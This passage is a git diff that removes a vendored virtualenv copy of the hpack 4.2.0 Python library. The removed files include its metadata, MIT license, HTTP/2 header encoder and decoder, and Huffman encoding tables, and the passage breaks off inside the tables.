-hpack/huffman.py,sha256=zDuRtOyFEdKb9_GZrNtAonTEUsqILrK2stSh5wLpGe4,2332 -hpack/huffman_constants.py,sha256=4PhOMel5mN0askFRrn4nVpJ_CTOUhO1qbFRO6u_If2M,4570 -hpack/huffman_table.py,sha256=EkUumBtZZIPCJ6lQ7LG_bwfDj1iZEiXM4ANcXjT1zUs,168663 -hpack/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -hpack/struct.py,sha256=BqEOS3T5lq40Elfv7G7CQ4X2pyCak85mVzZ_XIyxoIM,1476 -hpack/table.py,sha256=UAk39fUkM_r8dnBKODL_qGr9_wROnKQVB2EDP2ADJkI,10000 diff --git a/venv/Lib/site-packages/hpack-4.2.0.dist-info/WHEEL b/venv/Lib/site-packages/hpack-4.2.0.dist-info/WHEEL deleted file mode 100644 index 14a883f292bc96b20c2b76a3081991f2676523a9..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hpack-4.2.0.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (82.0.1) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/hpack-4.2.0.dist-info/licenses/LICENSE b/venv/Lib/site-packages/hpack-4.2.0.dist-info/licenses/LICENSE deleted file mode 100644 index d24c351e1889b5b7837e4c9c1dc59334191c7f2c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hpack-4.2.0.dist-info/licenses/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2014 Cory Benfield - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/venv/Lib/site-packages/hpack-4.2.0.dist-info/top_level.txt b/venv/Lib/site-packages/hpack-4.2.0.dist-info/top_level.txt deleted file mode 100644 index 1a0ac4833c6b9b27b4cfd97532cc851564a15a29..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hpack-4.2.0.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -hpack diff --git a/venv/Lib/site-packages/hpack/__init__.py b/venv/Lib/site-packages/hpack/__init__.py deleted file mode 100644 index 10715dbc2d976e0c09f6ea3ca472ba90ba8b1331..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hpack/__init__.py +++ /dev/null @@ -1,23 +0,0 @@ -""" -HTTP/2 header encoding for Python. -""" -from __future__ import annotations - -from .exceptions import HPACKDecodingError, HPACKError, InvalidTableIndex, InvalidTableIndexError, InvalidTableSizeError, OversizedHeaderListError -from .hpack import Decoder, Encoder -from .struct import HeaderTuple, NeverIndexedHeaderTuple - -__all__ = [ - "Decoder", - "Encoder", - "HPACKDecodingError", - "HPACKError", - "HeaderTuple", - "InvalidTableIndex", - "InvalidTableIndexError", - "InvalidTableSizeError", - "NeverIndexedHeaderTuple", - "OversizedHeaderListError", -] - -__version__ = "4.2.0" diff --git a/venv/Lib/site-packages/hpack/exceptions.py b/venv/Lib/site-packages/hpack/exceptions.py deleted file mode 100644 index 51f5083fd124101158333f13a162ece58a254118..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hpack/exceptions.py +++ /dev/null @@ -1,53 +0,0 @@ -""" -Exceptions used in hpack. -""" -from __future__ import annotations - - -class HPACKError(Exception): - """ - The base class for all ``hpack`` exceptions. - """ - - - -class HPACKDecodingError(HPACKError): - """ - An error has been encountered while performing HPACK decoding. - """ - - - -class InvalidTableIndexError(HPACKDecodingError): - """ - An invalid table index was received. - - .. versionadded:: 4.1.0 - """ - -class InvalidTableIndex(InvalidTableIndexError): # noqa: N818 - """ - An invalid table index was received. - - .. deprecated:: 4.1.0 - Renamed to :class:`InvalidTableIndexError`, use it instead. - """ - - -class OversizedHeaderListError(HPACKDecodingError): - """ - A header list that was larger than we allow has been received. This may be - a DoS attack. - - .. versionadded:: 2.3.0 - """ - - -class InvalidTableSizeError(HPACKDecodingError): - """ - An attempt was made to change the decoder table size to a value larger than - allowed, or the list was shrunk and the remote peer didn't shrink their - table size. - - .. versionadded:: 3.0.0 - """ diff --git a/venv/Lib/site-packages/hpack/hpack.py b/venv/Lib/site-packages/hpack/hpack.py deleted file mode 100644 index 1aff8abab56c3da259c6687212e21c97cb273277..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hpack/hpack.py +++ /dev/null @@ -1,677 +0,0 @@ -""" -Implements the HPACK header compression algorithm as detailed by RFC 7541. -""" -from __future__ import annotations - -import logging -from typing import TYPE_CHECKING, Any - -from .exceptions import HPACKDecodingError, InvalidTableSizeError, OversizedHeaderListError -from .huffman import HuffmanEncoder -from .huffman_constants import REQUEST_CODES, REQUEST_CODES_LENGTH -from .huffman_table import decode_huffman -from .struct import HeaderTuple, HeaderWeaklyTyped, NeverIndexedHeaderTuple -from .table import HeaderTable, table_entry_size - -if TYPE_CHECKING: - from collections.abc import Iterable # pragma: no cover - -log = logging.getLogger(__name__) - -INDEX_NONE = b"\x00" -INDEX_NEVER = b"\x10" -INDEX_INCREMENTAL = b"\x40" - -VARINT_MAX_LENGTH = 5 # octets, enough for encoding prefix + uint32 - -# Precompute 2^i for 1-8 for use in prefix calcs. -# Zero index is not used but there to save a subtraction -# as prefix numbers are not zero indexed. -_PREFIX_BIT_MAX_NUMBERS = [(2 ** i) - 1 for i in range(9)] - -# We default the maximum header list we're willing to accept to 64kB. That's a -# lot of headers, but if applications want to raise it they can do. -DEFAULT_MAX_HEADER_LIST_SIZE = 2 ** 16 - - -def _unicode_if_needed(header: HeaderWeaklyTyped, raw: bool) -> HeaderTuple: - """ - Provides a header as a unicode string if raw is False, otherwise returns - it as a bytestring. - """ - name = bytes(header[0]) # type: ignore - value = bytes(header[1]) # type: ignore - - if not raw: - return header.__class__(name.decode("utf-8"), value.decode("utf-8")) # type: ignore - return header.__class__(name, value) # type: ignore - - -def encode_integer(integer: int, prefix_bits: int) -> bytearray: - """ - Encodes an integer according to the wacky integer encoding rules - defined in the HPACK spec. - """ - log.debug("Encoding %d with %d bits", integer, prefix_bits) - - if integer < 0: - msg = f"Can only encode positive integers, got {integer}" - raise ValueError(msg) - - if prefix_bits < 1 or prefix_bits > 8: - msg = f"Prefix bits must be between 1 and 8, got {prefix_bits}" - raise ValueError(msg) - - max_number = _PREFIX_BIT_MAX_NUMBERS[prefix_bits] - - if integer < max_number: - return bytearray([integer]) # Seriously? - elements = [max_number] - integer -= max_number - - while integer >= 128: - elements.append((integer & 127) + 128) - integer >>= 7 - - elements.append(integer) - - return bytearray(elements) - - -def decode_integer(data: bytes | memoryview, prefix_bits: int) -> tuple[int, int]: - """ - Decodes an integer according to the wacky integer encoding rules - defined in the HPACK spec. Returns a tuple of the decoded integer and the - number of bytes that were consumed from ``data`` in order to get that - integer. - """ - if prefix_bits < 1 or prefix_bits > 8: - msg = f"Prefix bits must be between 1 and 8, got {prefix_bits}" - raise ValueError(msg) - - max_number = _PREFIX_BIT_MAX_NUMBERS[prefix_bits] - index = 1 - shift = 0 - mask = (0xFF >> (8 - prefix_bits)) - - try: - number = data[0] & mask - if number == max_number: - while True: - next_byte = data[index] - index += 1 - - if next_byte >= 128: - number += (next_byte - 128) << shift - else: - number += next_byte << shift - break - shift += 7 - - if index > VARINT_MAX_LENGTH: # sanity check to prevent infinite loops - # We have consumed more than enough bytes for a typical unsigned integer. - # The maximum size is not defined in HPACK RFC7541 Section 5.1: - # > This integer representation allows for values of indefinite size. It - # > is also possible for an encoder to send a large number of zero - # > values, which can waste octets and could be used to overflow integer - # > values. Integer encodings that exceed implementation limits -- in - # > value or octet length -- MUST be treated as decoding errors. - msg = f"Variable integer representation is too long: {data!r}" - raise HPACKDecodingError(msg) - - except IndexError as err: - msg = f"Unable to decode HPACK integer representation from {data!r}" - raise HPACKDecodingError(msg) from err - - log.debug("Decoded %d, consumed %d bytes", number, index) - - return number, index - - -def _dict_to_iterable(header_dict: dict[bytes | str, bytes | str]) \ - -> Iterable[tuple[bytes | str, bytes | str]]: - """ - Converts a dictionary to an iterable of key-value tuples. This is a - HPACK-specific function because it pulls "special-headers" out first and - then emits them. - """ - if not isinstance(header_dict, dict): # pragma: no cover - msg = f"header_dict not a dict, but {type(header_dict)}" - raise TypeError(msg) - - keys = sorted( - header_dict.keys(), - key=lambda k: not _to_bytes(k).startswith(b":"), - ) - for key in keys: - yield key, header_dict[key] - - -def _to_bytes(value: bytes | str | Any) -> bytes: - """ - Convert anything to bytes through a UTF-8 encoded string - """ - t = type(value) - if t is bytes: - return value # type: ignore - if t is not str: - value = str(value) - return value.encode("utf-8") # type: ignore - - -class Encoder: - """ - An HPACK encoder object. This object takes HTTP headers and emits encoded - HTTP/2 header blocks. - """ - - def __init__(self) -> None: - self.header_table = HeaderTable() - self.huffman_coder = HuffmanEncoder( - REQUEST_CODES, REQUEST_CODES_LENGTH, - ) - self.table_size_changes: list[int] = [] - - @property - def header_table_size(self) -> int: - """ - Controls the size of the HPACK header table. - """ - return self.header_table.maxsize - - @header_table_size.setter - def header_table_size(self, value: int) -> None: - self.header_table.maxsize = value - if self.header_table.resized: - self.table_size_changes.append(value) - - def encode(self, - headers: Iterable[\ - HeaderTuple | \ - tuple[bytes | str, bytes | str] | \ - tuple[bytes | str, bytes | str, bool | None]] | \ - dict[bytes | str, bytes | str], - huffman: bool = True) -> bytes: - """ - Takes a set of headers and encodes them into a HPACK-encoded header - block. - - :param headers: The headers to encode. Must be either an iterable of - tuples, an iterable of :class:`HeaderTuple - `, or a ``dict``. - - If an iterable of tuples, the tuples may be either - two-tuples or three-tuples. If they are two-tuples, the - tuples must be of the format ``(name, value)``. If they - are three-tuples, they must be of the format - ``(name, value, sensitive)``, where ``sensitive`` is a - boolean value indicating whether the header should be - added to header tables anywhere. If not present, - ``sensitive`` defaults to ``False``. - - If an iterable of :class:`HeaderTuple - `, the tuples must always be - two-tuples. Instead of using ``sensitive`` as a third - tuple entry, use :class:`NeverIndexedHeaderTuple - ` to request that - the field never be indexed. - - .. warning:: HTTP/2 requires that all special headers - (headers whose names begin with ``:`` characters) - appear at the *start* of the header block. While - this method will ensure that happens for ``dict`` - subclasses, callers using any other iterable of - tuples **must** ensure they place their special - headers at the start of the iterable. - - For efficiency reasons users should prefer to use - iterables of two-tuples: fixing the ordering of - dictionary headers is an expensive operation that - should be avoided if possible. - - :param huffman: (optional) Whether to Huffman-encode any header sent as - a literal value. Except for use when debugging, it is - recommended that this be left enabled. - - :returns: A bytestring containing the HPACK-encoded header block. - """ - # Transforming the headers into a header block is a procedure that can - # be modeled as a chain or pipe. First, the headers are encoded. This - # encoding can be done a number of ways. If the header name-value pair - # are already in the header table we can represent them using the - # indexed representation: the same is true if they are in the static - # table. Otherwise, a literal representation will be used. - header_block = [] - - # Before we begin, if the header table size has been changed we need - # to signal all changes since last emission appropriately. - if self.header_table.resized: - header_block.append(self._encode_table_size_change()) - self.header_table.resized = False - - if isinstance(headers, dict): - # Turn the headers into a list of tuples if possible. This is the - # natural way to interact with them in HPACK. Because dictionaries are - # un-ordered, we need to make sure we grab the "special" headers first. - hpack_headers = _dict_to_iterable(headers) - else: - """ - Assume headers is an iterable of HeaderTuples, or plain 2-tuples, or plain 3-tuples: - - examples: - [ - HeaderTuple(':method', 'GET'), - NeverIndexedHeaderTuple('customkey', 'sensitiveinfo'), - ] - or - [ - (':method', 'GET'), - ('customkey', 'some-data'), - ] - or - [ - (':method', 'GET', True), - ('customkey', 'sensitiveinfo', True), - ] - """ - hpack_headers = iter(headers) # type: ignore - - # Add each header to the header block - for header in hpack_headers: - sensitive = False - if isinstance(header, HeaderTuple): - # HeaderTuple implies it's a 2-tuple with the sensitive information stored as instance attribute - sensitive = not header.indexable - elif len(header) > 2: - sensitive = header[2] - - new_header = (_to_bytes(header[0]), _to_bytes(header[1])) - header_block.append(self.add(new_header, sensitive, huffman)) - - encoded = b"".join(header_block) - - log.debug("Encoded header block to %s", encoded) - - return encoded - - def add(self, to_add: tuple[bytes, bytes], sensitive: bool, huffman: bool = False) -> bytes: - """ - Serializes a header key-value tuple. - - When sensitive is True, the header will not be added to the header table - (see https://www.rfc-editor.org/rfc/rfc7541.html#section-7.1.3 for details), - furthermore, the header value will be redacted in debug logs, as "SENSITIVE_REDACTED", - to prevent accidental exposure of sensitive information. - """ - name, value = to_add - - display_value = value if not sensitive else b"SENSITIVE_REDACTED" - log.debug( - "Adding %s=%s to the header table, sensitive:%s, huffman:%s", - name, - display_value, - sensitive, - huffman, - ) - - # Set our indexing mode - indexbit = INDEX_INCREMENTAL if not sensitive else INDEX_NEVER - - # Search for a matching header in the header table. - match = self.header_table.search(name, value) - - if match is None: - # Not in the header table. Encode using the literal syntax, - # and add it to the header table. - encoded = self._encode_literal(name, value, indexbit, huffman) - if not sensitive: - self.header_table.add(name, value) - return encoded - - # The header is in the table, break out the values. If we matched - # perfectly, we can use the indexed representation: otherwise we - # can use the indexed literal. - index, name, perfect = match - - if perfect is not None: - # Indexed representation. - encoded = self._encode_indexed(index) - else: - # Indexed literal. We are going to add header to the - # header table unconditionally. It is a future todo to - # filter out headers which are known to be ineffective for - # indexing since they just take space in the table and - # pushed out other valuable headers. - encoded = self._encode_indexed_literal( - index, value, indexbit, huffman, - ) - if not sensitive: - self.header_table.add(name, value) - - return encoded - - def _encode_indexed(self, index: int) -> bytes: - """ - Encodes a header using the indexed representation. - """ - field = encode_integer(index, 7) - field[0] |= 0x80 # we set the top bit - return bytes(field) - - def _encode_literal(self, name: bytes, value: bytes, indexbit: bytes, huffman: bool = False) -> bytes: - """ - Encodes a header with a literal name and literal value. If ``indexing`` - is True, the header will be added to the header table: otherwise it - will not. - """ - if huffman: - name = self.huffman_coder.encode(name) - value = self.huffman_coder.encode(value) - - name_len = encode_integer(len(name), 7) - value_len = encode_integer(len(value), 7) - - if huffman: - name_len[0] |= 0x80 - value_len[0] |= 0x80 - - return b"".join( - [indexbit, bytes(name_len), name, bytes(value_len), value], - ) - - def _encode_indexed_literal(self, index: int, value: bytes, indexbit: bytes, huffman: bool = False) -> bytes: - """ - Encodes a header with an indexed name and a literal value and performs - incremental indexing. - """ - if indexbit != INDEX_INCREMENTAL: - prefix = encode_integer(index, 4) - else: - prefix = encode_integer(index, 6) - - prefix[0] |= ord(indexbit) - - if huffman: - value = self.huffman_coder.encode(value) - - value_len = encode_integer(len(value), 7) - - if huffman: - value_len[0] |= 0x80 - - return b"".join([bytes(prefix), bytes(value_len), value]) - - def _encode_table_size_change(self) -> bytes: - """ - Produces the encoded form of all header table size change context - updates. - """ - block = b"" - for size_bytes in self.table_size_changes: - b = encode_integer(size_bytes, 5) - b[0] |= 0x20 - block += bytes(b) - self.table_size_changes = [] - return block - - -class Decoder: - """ - An HPACK decoder object. - - .. versionchanged:: 2.3.0 - Added ``max_header_list_size`` argument. - - :param max_header_list_size: The maximum decompressed size we will allow - for any single header block. This is a protection against DoS attacks - that attempt to force the application to expand a relatively small - amount of data into a really large header list, allowing enormous - amounts of memory to be allocated. - - If this amount of data is exceeded, a `OversizedHeaderListError - ` exception will be raised. At this - point the connection should be shut down, as the HPACK state will no - longer be usable. - - Defaults to 64kB. - :type max_header_list_size: ``int`` - """ - - def __init__(self, max_header_list_size: int = DEFAULT_MAX_HEADER_LIST_SIZE) -> None: - self.header_table = HeaderTable() - - #: The maximum decompressed size we will allow for any single header - #: block. This is a protection against DoS attacks that attempt to - #: force the application to expand a relatively small amount of data - #: into a really large header list, allowing enormous amounts of memory - #: to be allocated. - #: - #: If this amount of data is exceeded, a `OversizedHeaderListError - #: ` exception will be raised. At this - #: point the connection should be shut down, as the HPACK state will no - #: longer be usable. - #: - #: Defaults to 64kB. - #: - #: .. versionadded:: 2.3.0 - self.max_header_list_size = max_header_list_size - - #: Maximum allowed header table size. - #: - #: A HTTP/2 implementation should set this to the most recent value of - #: SETTINGS_HEADER_TABLE_SIZE that it sent *and has received an ACK - #: for*. Once this setting is set, the actual header table size will be - #: checked at the end of each decoding run and whenever it is changed, - #: to confirm that it fits in this size. - self.max_allowed_table_size = self.header_table.maxsize - - @property - def header_table_size(self) -> int: - """ - Controls the size of the HPACK header table. - """ - return self.header_table.maxsize - - @header_table_size.setter - def header_table_size(self, value: int) -> None: - self.header_table.maxsize = value - - def decode(self, data: bytes, raw: bool = False) -> Iterable[HeaderTuple]: - """ - Takes an HPACK-encoded header block and decodes it into a header set. - - :param data: A bytestring representing a complete HPACK-encoded header - block. - :param raw: (optional) Whether to return the headers as tuples of raw - byte strings or to decode them as UTF-8 before returning - them. The default value is False, which returns tuples of - Unicode strings - :returns: A list of two-tuples of ``(name, value)`` representing the - HPACK-encoded headers, in the order they were decoded. - :raises HPACKDecodingError: If an error is encountered while decoding - the header block. - """ - log.debug("Decoding %s", data) - - data_mem = memoryview(data) - headers: list[HeaderTuple] = [] - data_len = len(data) - inflated_size = 0 - current_index = 0 - - while current_index < data_len: - # Work out what kind of header we're decoding. - # If the high bit is 1, it's an indexed field. - current = data[current_index] - indexed = bool(current & 0x80) - - # Otherwise, if the second-highest bit is 1 it's a field that does - # alter the header table. - literal_index = bool(current & 0x40) - - # Otherwise, if the third-highest bit is 1 it's an encoding context - # update. - encoding_update = bool(current & 0x20) - - if indexed: - header, consumed = self._decode_indexed( - data_mem[current_index:], - ) - elif literal_index: - # It's a literal header that does affect the header table. - header, consumed = self._decode_literal_index( - data_mem[current_index:], - ) - elif encoding_update: - # It's an update to the encoding context. These are forbidden - # in a header block after any actual header. - if headers: - msg = "Table size update not at the start of the block" - raise HPACKDecodingError(msg) - consumed = self._update_encoding_context( - data_mem[current_index:], - ) - header = None - else: - # It's a literal header that does not affect the header table. - header, consumed = self._decode_literal_no_index( - data_mem[current_index:], - ) - - if header: - headers.append(header) - inflated_size += table_entry_size(header[0], header[1]) - - if inflated_size > self.max_header_list_size: - msg = f"A header list larger than {self.max_header_list_size} has been received" - raise OversizedHeaderListError(msg) - - current_index += consumed - - # Confirm that the table size is lower than the maximum. We do this - # here to ensure that we catch when the max has been *shrunk* and the - # remote peer hasn't actually done that. - self._assert_valid_table_size() - - try: - return [_unicode_if_needed(h, raw) for h in headers] - except UnicodeDecodeError as err: - msg = "Unable to decode headers as UTF-8" - raise HPACKDecodingError(msg) from err - - def _assert_valid_table_size(self) -> None: - """ - Check that the table size set by the encoder is lower than the maximum - we expect to have. - """ - if self.header_table_size > self.max_allowed_table_size: - msg = "Encoder did not shrink table size to within the max" - raise InvalidTableSizeError(msg) - - def _update_encoding_context(self, data: bytes | memoryview) -> int: - """ - Handles a byte that updates the encoding context. - """ - # We've been asked to resize the header table. - new_size, consumed = decode_integer(data, 5) - if new_size > self.max_allowed_table_size: - msg = "Encoder exceeded max allowable table size" - raise InvalidTableSizeError(msg) - self.header_table_size = new_size - return consumed - - def _decode_indexed(self, data: bytes | memoryview) -> tuple[HeaderTuple, int]: - """ - Decodes a header represented using the indexed representation. - """ - index, consumed = decode_integer(data, 7) - header = HeaderTuple(*self.header_table.get_by_index(index)) - log.debug("Decoded %s, consumed %d", header, consumed) - return header, consumed - - def _decode_literal_no_index(self, data: bytes | memoryview) -> tuple[HeaderTuple, int]: - return self._decode_literal(data, should_index=False) - - def _decode_literal_index(self, data: bytes | memoryview) -> tuple[HeaderTuple, int]: - return self._decode_literal(data, should_index=True) - - def _decode_literal(self, data: bytes | memoryview, should_index: bool) -> tuple[HeaderTuple, int]: - """ - Decodes a header represented with a literal. - """ - if isinstance(data, memoryview): - data = data.tobytes() # pragma: no cover - - total_consumed = 0 - - # When should_index is true, if the low six bits of the first byte are - # nonzero, the header name is indexed. - # When should_index is false, if the low four bits of the first byte - # are nonzero the header name is indexed. - if should_index: - indexed_name = data[0] & 0x3F - name_len = 6 - not_indexable = False - else: - high_byte = data[0] - indexed_name = high_byte & 0x0F - name_len = 4 - not_indexable = bool(high_byte & 0x10) - - if indexed_name: - # Indexed header name. - index, consumed = decode_integer(data, name_len) - name = self.header_table.get_by_index(index)[0] - - total_consumed = consumed - length = 0 - else: - # Literal header name. The first byte was consumed, so we need to - # move forward. - data = data[1:] - - length, consumed = decode_integer(data, 7) - name = data[consumed:consumed + length] - if len(name) != length: - msg = "Truncated header block" - raise HPACKDecodingError(msg) - - if data[0] & 0x80: - name = decode_huffman(name) - total_consumed = consumed + length + 1 # Since we moved forward 1. - - data = data[consumed + length:] - - # The header value is definitely length-based. - length, consumed = decode_integer(data, 7) - value = data[consumed:consumed + length] - if len(value) != length: - msg = "Truncated header block" - raise HPACKDecodingError(msg) - - if data[0] & 0x80: - value = decode_huffman(value) - - # Updated the total consumed length. - total_consumed += length + consumed - - # If we have been told never to index the header field, encode that in - # the tuple we use. - header: HeaderTuple - if not_indexable: - header = NeverIndexedHeaderTuple(name, value) - else: - header = HeaderTuple(name, value) - - # If we've been asked to index this, add it to the header table. - if should_index: - self.header_table.add(name, value) - - log.debug( - "Decoded %s, total consumed %d bytes, indexed %s", - header, - total_consumed, - should_index, - ) - - return header, total_consumed diff --git a/venv/Lib/site-packages/hpack/huffman.py b/venv/Lib/site-packages/hpack/huffman.py deleted file mode 100644 index 1c55de02a76f3662dea15ec7461f4af2a466964d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hpack/huffman.py +++ /dev/null @@ -1,63 +0,0 @@ -""" -An implementation of a bitwise prefix tree specially built for decoding -Huffman-coded content where we already know the Huffman table. -""" -from __future__ import annotations - - -class HuffmanEncoder: - """ - Encodes a string according to the Huffman encoding table defined in the - HPACK specification. - """ - - def __init__(self, huffman_code_list: list[int], huffman_code_list_lengths: list[int]) -> None: - self.huffman_code_list = huffman_code_list - self.huffman_code_list_lengths = huffman_code_list_lengths - - def encode(self, bytes_to_encode: bytes | None) -> bytes: - """ - Given a string of bytes, encodes them according to the HPACK Huffman - specification. - """ - # If handed the empty string, just immediately return. - if not bytes_to_encode: - return b"" - - final_num = 0 - final_int_len = 0 - - # Turn each byte into its huffman code. These codes aren't necessarily - # octet aligned, so keep track of how far through an octet we are. To - # handle this cleanly, just use a single giant integer. - for byte in bytes_to_encode: - bin_int_len = self.huffman_code_list_lengths[byte] - bin_int = self.huffman_code_list[byte] & ( - 2 ** (bin_int_len + 1) - 1 - ) - final_num <<= bin_int_len - final_num |= bin_int - final_int_len += bin_int_len - - # Pad out to an octet with ones. - bits_to_be_padded = (8 - (final_int_len % 8)) % 8 - final_num <<= bits_to_be_padded - final_num |= (1 << bits_to_be_padded) - 1 - - # Convert the number to hex without leading '0x' or trailing 'L'. - s = f"{final_num:x}" - - # If this is odd, prepend a zero. - s = "0" + s if len(s) % 2 != 0 else s - - # This number should have twice as many digits as bytes. If not, we're - # missing some leading zeroes. Work out how many bytes we want and how - # many digits we have, then add the missing zero digits to the front. - total_bytes = (final_int_len + bits_to_be_padded) // 8 - expected_digits = total_bytes * 2 - - if len(s) != expected_digits: - missing_digits = expected_digits - len(s) - s = ("0" * missing_digits) + s - - return bytes.fromhex(s) diff --git a/venv/Lib/site-packages/hpack/huffman_constants.py b/venv/Lib/site-packages/hpack/huffman_constants.py deleted file mode 100644 index 146ee7911125b36975a64757e5cd05b74886d78c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/hpack/huffman_constants.py +++ /dev/null @@ -1,285 +0,0 @@ -""" -Defines the constant Huffman table. This takes up an upsetting amount of space, -but c'est la vie. -""" -# flake8: noqa - -REQUEST_CODES = [ - 0x1ff8, - 0x7fffd8, - 0xfffffe2, - 0xfffffe3, - 0xfffffe4, - 0xfffffe5, - 0xfffffe6, - 0xfffffe7, - 0xfffffe8, - 0xffffea, - 0x3ffffffc, - 0xfffffe9, - 0xfffffea, - 0x3ffffffd, - 0xfffffeb, - 0xfffffec, - 0xfffffed, - 0xfffffee, - 0xfffffef, - 0xffffff0, - 0xffffff1, - 0xffffff2, - 0x3ffffffe, - 0xffffff3, - 0xffffff4, - 0xffffff5, - 0xffffff6, - 0xffffff7, - 0xffffff8, - 0xffffff9, - 0xffffffa, - 0xffffffb, - 0x14, - 0x3f8, - 0x3f9, - 0xffa, - 0x1ff9, - 0x15, - 0xf8, - 0x7fa, - 0x3fa, - 0x3fb, - 0xf9, - 0x7fb, - 0xfa, - 0x16, - 0x17, - 0x18, - 0x0, - 0x1, - 0x2, - 0x19, - 0x1a, - 0x1b, - 0x1c, - 0x1d, - 0x1e, - 0x1f, - 0x5c, - 0xfb, - 0x7ffc, - 0x20, - 0xffb, - 0x3fc, - 0x1ffa, - 0x21, - 0x5d, - 0x5e, - 0x5f, - 0x60, - 0x61, - 0x62, - 0x63, - 0x64, - 0x65, - 0x66, - 0x67, - 0x68, - 0x69, - 0x6a, - 0x6b, - 0x6c, - 0x6d, - 0x6e, - 0x6f, - 0x70, - 0x71, - 0x72, - 0xfc, - 0x73, - 0xfd, - 0x1ffb, - 0x7fff0, - 0x1ffc, - 0x3ffc, - 0x22, - 0x7ffd, - 0x3, - 0x23, - 0x4, - 0x24, - 0x5, - 0x25, - 0x26, - 0x27, - 0x6, - 0x74, - 0x75, - 0x28, - 0x29, - 0x2a, - 0x7, - 0x2b, - 0x76, - 0x2c, - 0x8, - 0x9, - 0x2d, - 0x77, - 0x78, - 0x79, - 0x7a, - 0x7b, - 0x7ffe, - 0x7fc, - 0x3ffd, - 0x1ffd, - 0xffffffc, - 0xfffe6, - 0x3fffd2, - 0xfffe7, - 0xfffe8, - 0x3fffd3, - 0x3fffd4, - 0x3fffd5, - 0x7fffd9, - 0x3fffd6, - 0x7fffda, - 0x7fffdb, - 0x7fffdc, - 0x7fffdd, - 0x7fffde, - 0xffffeb, - 0x7fffdf, - 0xffffec, - 0xffffed, - 0x3fffd7, - 0x7fffe0, - 0xffffee, - 0x7fffe1, - 0x7fffe2, - 0x7fffe3, - 0x7fffe4, - 0x1fffdc, - 0x3fffd8, - 0x7fffe5, - 0x3fffd9, - 0x7fffe6, - 0x7fffe7, - 0xffffef, - 0x3fffda, - 0x1fffdd, - 0xfffe9, - 0x3fffdb, - 0x3fffdc, - 0x7fffe8, - 0x7fffe9, - 0x1fffde, - 0x7fffea, - 0x3fffdd, - 0x3fffde, - 0xfffff0, - 0x1fffdf, - 0x3fffdf, - 0x7fffeb, - 0x7fffec, - 0x1fffe0, - 0x1fffe1, - 0x3fffe0, - 0x1fffe2, - 0x7fffed, - 0x3fffe1, - 0x7fffee, - 0x7fffef, - 0xfffea, - 0x3fffe2, - 0x3fffe3, - 0x3fffe4, - 0x7ffff0, - 0x3fffe5, - 0x3fffe6, - 0x7ffff1, - 0x3ffffe0, - 0x3ffffe1, - 0xfffeb, - 0x7fff1, - 0x3fffe7, - 0x7ffff2, - 0x3fffe8, - 0x1ffffec, - 0x3ffffe2, - 0x3ffffe3, - 0x3ffffe4, - 0x7ffffde, - 0x7ffffdf, - 0x3ffffe5, - 0xfffff1, - 0x1ffffed, - 0x7fff2, - 0x1fffe3, - 0x3ffffe6, - 0x7ffffe0, - 0x7ffffe1, - 0x3ffffe7, - 0x7ffffe2, - 0xfffff2, - 0x1fffe4, - 0x1fffe5, - 0x3ffffe8, - 0x3ffffe9, - 0xffffffd, - 0x7ffffe3, - 0x7ffffe4, - 0x7ffffe5, - 0xfffec, - 0xfffff3, - 0xfffed, - 0x1fffe6, - 0x3fffe9, - 0x1fffe7, - 0x1fffe8, - 0x7ffff3, - 0x3fffea, - 0x3fffeb, - 0x1ffffee, - 0x1ffffef, - 0xfffff4, - 0xfffff5, - 0x3ffffea, - 0x7ffff4, - 0x3ffffeb, - 0x7ffffe6, - 0x3ffffec, - 0x3ffffed, - 0x7ffffe7, - 0x7ffffe8, - 0x7ffffe9, - 0x7ffffea, - 0x7ffffeb, - 0xffffffe, - 0x7ffffec, - 0x7ffffed, - 0x7ffffee, - 0x7ffffef, - 0x7fffff0, - 0x3ffffee, - 0x3fffffff, -] - -REQUEST_CODES_LENGTH = [ - 13, 23, 28, 28, 28, 28, 28, 28, 28, 24, 30, 28, 28, 30, 28, 28, - 28, 28, 28, 28, 28, 28, 30, 28, 28, 28, 28, 28, 28, 28, 28, 28, - 6, 10, 10, 12, 13, 6, 8, 11, 10, 10, 8, 11, 8, 6, 6, 6, - 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 7, 8, 15, 6, 12, 10, - 13, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 8, 7, 8, 13, 19, 13, 14, 6, - 15, 5, 6, 5, 6, 5, 6, 6, 6, 5, 7, 7, 6, 6, 6, 5, - 6, 7, 6, 5, 5, 6, 7, 7, 7, 7, 7, 15, 11, 14, 13, 28, - 20, 22, 20, 20, 22, 22, 22, 23, 22, 23, 23, 23, 23, 23, 24, 23, - 24, 24, 22, 23, 24, 23, 23, 23, 23, 21, 22, 23, 22, 